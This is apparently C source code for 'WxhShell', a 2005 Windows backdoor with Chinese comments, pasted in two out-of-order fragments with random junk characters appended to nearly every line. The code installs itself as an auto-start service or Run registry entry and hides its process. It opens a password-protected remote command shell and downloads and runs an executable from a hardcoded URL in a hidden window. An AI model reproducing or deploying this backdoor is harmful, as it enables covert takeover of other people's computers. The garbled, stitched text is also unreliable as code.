ULONG InheritedFromUniqueProcessId; (0y~%J
} PROCESS_BASIC_INFORMATION; V[vl!XM
s#=7IH30
PROCNTQSIP NtQueryInformationProcess; m5Di=8
N7R!C)!IL
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F6flIG&h
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;cN{a&
>[=^_8M
HANDLE hProcess; 9j:"J` '
PROCESS_BASIC_INFORMATION pbi; C#Iybg
\&gB)czEO
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HEc+;O1<
if(NULL == hInst ) return 0; XFV!S#yEZ
)
M BQuiL
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w%BL
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M} v/tRI
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |64~K\X
+pn
N!:q
if (!NtQueryInformationProcess) return 0; }s<4{:cv+
:T
!'N\7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L AAHEv
if(!hProcess) return 0; oj_3ZsO
V-L"gnd&2
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M%;hB*9
Ffta](Z;
CloseHandle(hProcess); ,>+p-M8ZL
WKa~[j|-K
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R/>@+
if(hProcess==NULL) return 0; PxkOT*
PQ$%H>{
HMODULE hMod; +-CtjhoS
char procName[255]; 2n"V}p>8i#
unsigned long cbNeeded; |T)6yDL
:^3LvPM
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g0ly
i3'9>"`
CloseHandle(hProcess); T\>a!
k4y'b
if(strstr(procName,"services")) return 1; // 以服务启动 5>N2:9We
D#JL!A%O
return 0; // 注册表启动 >{J(>B\
} :mn>0jK,N
g:Xhw$x9
// 主模块 :\7X}n*&
int StartWxhshell(LPSTR lpCmdLine) <.izVD4/Gg
{ *QQzvhk
SOCKET wsl; xCl1g4N
BOOL val=TRUE; =uYYsC\T
int port=0; 2/=l|!JKLz
struct sockaddr_in door; cI?8RF(;
+jnJ|h({
if(wscfg.ws_autoins) Install(); M>ruKHipFE
@8rx`9
port=atoi(lpCmdLine); x!58cS*
Y+u_IJ
if(port<=0) port=wscfg.ws_port; } .y
1;.
3H6lBF
WSADATA data; Bj-:#P@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7f!YoW;1
$jqq
`n_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; WQL\y3f5
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !SdSE^lz`
door.sin_family = AF_INET; E+g@M8D
door.sin_addr.s_addr = inet_addr("127.0.0.1"); E3gh?6
door.sin_port = htons(port); Tl[!=S
v4c[(&
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e:n<EnT
closesocket(wsl); T@&K-UQ
return 1; Rww{:R
} w\i\Wp,FP
P&ptJtNg
if(listen(wsl,2) == INVALID_SOCKET) { RM]M@%,K
closesocket(wsl); B
s#hr3h-
return 1; .|b$NM
} 8sM|%<$=j
Wxhshell(wsl); +kO!Xc%P&
WSACleanup(); l@+7:n4K0
JJ2_hVU
return 0; :hFIl0$,"3
4V i`* !
} 1A G<$d5U|
>A"v ed8
// 以NT服务方式启动 DiwxXqY
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T)TfB(
{ 8xV9.4S
DWORD status = 0; |G,tlchprs
DWORD specificError = 0xfffffff; "(z5{z?S
vyX\'r.~7
serviceStatus.dwServiceType = SERVICE_WIN32; r6}
|hpJ8
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Et/\xL
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @As[k2
serviceStatus.dwWin32ExitCode = 0; c[4i9I3v
serviceStatus.dwServiceSpecificExitCode = 0; [~#WG/!:
serviceStatus.dwCheckPoint = 0; v|%Z+w
serviceStatus.dwWaitHint = 0; '~[d=fwH
e2t-4}
ww
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QaS7z#/?.
if (hServiceStatusHandle==0) return; h
WtVWVNL
2ZMb<b4H
status = GetLastError(); e .2ib?8
if (status!=NO_ERROR) {kCw+eXn?
{ p~^D\jR.
serviceStatus.dwCurrentState = SERVICE_STOPPED; 'H&2HXw&2
serviceStatus.dwCheckPoint = 0; XJ` ]ga
serviceStatus.dwWaitHint = 0; Z/0fXn})
serviceStatus.dwWin32ExitCode = status;
(SDr!!V<
serviceStatus.dwServiceSpecificExitCode = specificError; 9~mh@Kgv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); JedmaY06=
return; L>9V&\
} 8WbgSY`
f'-i o<.
serviceStatus.dwCurrentState = SERVICE_RUNNING; aM2l2
serviceStatus.dwCheckPoint = 0; ;q:zT\A
serviceStatus.dwWaitHint = 0; $M lW4&a|
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ax?y
} O%(fx!c`
kabnVVn~
// 处理NT服务事件,比如:启动、停止 uK$9Ll{lk
VOID WINAPI NTServiceHandler(DWORD fdwControl) q[`]D7W
"
{ 6[LM_eP
switch(fdwControl) (-xS?8x$
{ NI#:|}CYS
case SERVICE_CONTROL_STOP: , 5kKimTt
serviceStatus.dwWin32ExitCode = 0; 7;sj%U^'l
serviceStatus.dwCurrentState = SERVICE_STOPPED; bRJMYs
serviceStatus.dwCheckPoint = 0;
1 +qw$T
serviceStatus.dwWaitHint = 0; t2"O
{ qnJt5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?NR A:t(}
} wF,UE_
return; iH@yCNE"
case SERVICE_CONTROL_PAUSE: VsgE!/>1
serviceStatus.dwCurrentState = SERVICE_PAUSED; qY<'<T4\
break; ujaGNg?,
case SERVICE_CONTROL_CONTINUE: +5o8KYV
serviceStatus.dwCurrentState = SERVICE_RUNNING; =Z+nz^'b
break; $8xl#SqH
case SERVICE_CONTROL_INTERROGATE: zb}9%.U
break; :xD=`ib
}; v!P b`LCqK
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /<}m? k\
} >.'*)@vQi
Nz+949X
// 标准应用程序主函数 rI>aAW'
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8lb%eb]U
{ SAK!z!t
L %K\C
// 获取操作系统版本 ?^$MRa:D
OsIsNt=GetOsVer(); &nkW1Ner9
GetModuleFileName(NULL,ExeFile,MAX_PATH); OCJnjlV%
O<"}|nbmQ[
// 从命令行安装 B}:(za&
if(strpbrk(lpCmdLine,"iI")) Install(); ]2'na?q9
HATA- M
// 下载执行文件 gb> }v7
if(wscfg.ws_downexe) { fX.>9H[w@~
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4%}*&nsI-Z
WinExec(wscfg.ws_filenam,SW_HIDE);
HA`@7I
} `V"sOTb
SWQ5fcPu
if(!OsIsNt) { tqeZ#w7
// 如果时win9x,隐藏进程并且设置为注册表启动 kc @[9eV
HideProc(); zG9Y!SY\-
StartWxhshell(lpCmdLine); !n$tr
} AvSM^
else .J.-Mm`.
if(StartFromService()) I1\a[Xe8E
// 以服务方式启动 T ;vF(
StartServiceCtrlDispatcher(DispatchTable); GXjfQ~<]
else C;`XlQG `
// 普通方式启动 NqEA4C
StartWxhshell(lpCmdLine); dBe`p5Z
oiyzHx
return 0; Tp?y8r
} x.zbD8l/9
(v|}\?L
WxJf{=-
2KN6}
=========================================== ;M#_6Hd?qD
O:"*q&;J
=gvBz | +
r8&^>4
OD 3f.fT
On@<J&%
" 4RV%Z!kcD!
*
Y7jl#7
#include <stdio.h>
`|#Qx3n%
#include <string.h> RE=+Dz{
#include <windows.h> S.Ma$KL~'^
#include <winsock2.h> OY5OJ*
#include <winsvc.h> Wg0g/
#include <urlmon.h> Ns0cgCrhX
vRxM4O~"
#pragma comment (lib, "Ws2_32.lib") WN5`;{\
#pragma comment (lib, "urlmon.lib") bi&*9K0
HXYRH
#define MAX_USER 100 // 最大客户端连接数 A"l?:?rtw]
#define BUF_SOCK 200 // sock buffer r"a5(Q;n
#define KEY_BUFF 255 // 输入 buffer vZ N!Zl7S
+1!qs,
#define REBOOT 0 // 重启 kbfC|5S
#define SHUTDOWN 1 // 关机 *^wB!{.#
{^rs#, W
#define DEF_PORT 5000 // 监听端口 k`9)=&zX+
`S.ZS}~!F
#define REG_LEN 16 // 注册表键长度 )0e2ic/
#define SVC_LEN 80 // NT服务名长度 d]i(h~?_
RUUk
f({(
// 从dll定义API :%AL\n
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;Y mTw
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "zY](P
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e9Pk"HHl
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~-t>z
UMp/\&0
// wxhshell配置信息 A@D2+fS
struct WSCFG { c.f"Gv
int ws_port; // 监听端口 {
"xln/
char ws_passstr[REG_LEN]; // 口令 :nS;W
int ws_autoins; // 安装标记, 1=yes 0=no G,<T/f
.{$
char ws_regname[REG_LEN]; // 注册表键名 A'K%WW*'U
char ws_svcname[REG_LEN]; // 服务名 #nO|A\N
char ws_svcdisp[SVC_LEN]; // 服务显示名 j.ldaLdG
char ws_svcdesc[SVC_LEN]; // 服务描述信息 kR@Yl Yo
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9cx =@
int ws_downexe; // 下载执行标记, 1=yes 0=no >'5_Y]h4m|
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |*X*n*oI
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K+)%KP
zYv#:>C8
}; |Uk"
{
q;D+ai
// default Wxhshell configuration F@!Td(r2
struct WSCFG wscfg={DEF_PORT, qG/fE'(j&
"xuhuanlingzhe", pdb1GDl0q
1, CGP3qHrXt
"Wxhshell", Bo+DJizu
"Wxhshell", a7/-wk
"WxhShell Service", {[t`j+J
"Wrsky Windows CmdShell Service", deeU@x`f<
"Please Input Your Password: ", nL}5cPI
1, <0.$'M~E
"http://www.wrsky.com/wxhshell.exe", C*te^3k>B
"Wxhshell.exe" Lru-u:
}; BH@)QVs-
cx$Gic:4
// 消息定义模块 1b>C<\
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #4h+j%y[H
char *msg_ws_prompt="\n\r? for help\n\r#>"; p|/j4@-h
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )|<_cwz
char *msg_ws_ext="\n\rExit."; 4YMX|1wd)
char *msg_ws_end="\n\rQuit."; )Vk6;__
char *msg_ws_boot="\n\rReboot..."; ";w}3+R
char *msg_ws_poff="\n\rShutdown..."; #W2[
char *msg_ws_down="\n\rSave to "; Y'3}G<'%
asgF1?r
char *msg_ws_err="\n\rErr!"; FNQX7O52
char *msg_ws_ok="\n\rOK!"; {8EW)4Hf
~;OYtz
char ExeFile[MAX_PATH]; 25|8nfeC5
int nUser = 0; s;YKeE!8
HANDLE handles[MAX_USER]; W"xP(7X
int OsIsNt; NOK/<_/
HFQR
;9]
SERVICE_STATUS serviceStatus; rJ'I>Q~x6
SERVICE_STATUS_HANDLE hServiceStatusHandle; ] 43bere
(5Tvsw`
// 函数声明 }^K/?dM
int Install(void); }T0K^Oe+eS
int Uninstall(void); p(m1O70C
int DownloadFile(char *sURL, SOCKET wsh); qy!Ou3^
int Boot(int flag); YIp-Y}6
void HideProc(void); sK=}E=
int GetOsVer(void); a)! g7u
int Wxhshell(SOCKET wsl); [rOaM$3|
void TalkWithClient(void *cs); zN_:nY>
int CmdShell(SOCKET sock); mN5
8r"!J
int StartFromService(void); t.hm9}UQ
int StartWxhshell(LPSTR lpCmdLine); Vjm_F!S
M}"r#Plq
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yISD/
g
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w*w?S
E}Xka1 Bn
// 数据结构和表定义 N(3R|Ii
SERVICE_TABLE_ENTRY DispatchTable[] = I#FF*@oeM
{ td -3h,\\
{wscfg.ws_svcname, NTServiceMain}, ? {F{;r
{NULL, NULL} 6vf\R*D|A
}; *NSlo^R-[
pY^9l3y^
// 自我安装 l t]B#, '
int Install(void) F X1ZG!
{ f|a DTWF
char svExeFile[MAX_PATH]; VzRx%j/i
HKEY key; qq0?e0H
strcpy(svExeFile,ExeFile); Y&r]lD
M_D6i%b^
// 如果是win9x系统,修改注册表设为自启动 Cw,D{
if(!OsIsNt) { h:Ndzp{
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;<G<1+
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;+I4&VieK
RegCloseKey(key); TQ1WVq
}*
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lg`Jp&Kg
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,
Ut Hc]
RegCloseKey(key); )Z@-DA*Q-
return 0; g"!\\:M
} -lRhz!E]
} L$Z(+6m5
} qMS}t3X
else { _b4fS'[
;
a/cty0Ch
// 如果是NT以上系统,安装为系统服务 jlKGXD)Q[
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U06o;s(
if (schSCManager!=0) EH+~].PJd
{ .1*DR]^`
SC_HANDLE schService = CreateService #DP7SO
( 2Q$\KRE
schSCManager, f'dK73Xof
wscfg.ws_svcname, cc>
wscfg.ws_svcdisp, 0%)5.=6
SERVICE_ALL_ACCESS, VZA3IbK}
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BSp$F WvT?
SERVICE_AUTO_START, +3bfD
SERVICE_ERROR_NORMAL, ? Ekq6uz\)
svExeFile, H^CilwD158
NULL, {B yn{?w
NULL, '%3{jc-}
NULL, LnMwx#^*
NULL, ~%q7Vmk9
NULL |r~
uos
); iM64,wnA
if (schService!=0) .:;fAJPf
{ {u30rc"
CloseServiceHandle(schService); c%YDt`
CloseServiceHandle(schSCManager); A:Rw@B$
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t58m=4
strcat(svExeFile,wscfg.ws_svcname); o G_~3Kt
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~B@}R
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cq^sq1A:
RegCloseKey(key); wt7.oKbW
return 0; Xn7[n
} +6%7CC 6
} l6B.6
'4)w
CloseServiceHandle(schSCManager); T~Y g5J
} W<gD6+=8
} .{N\<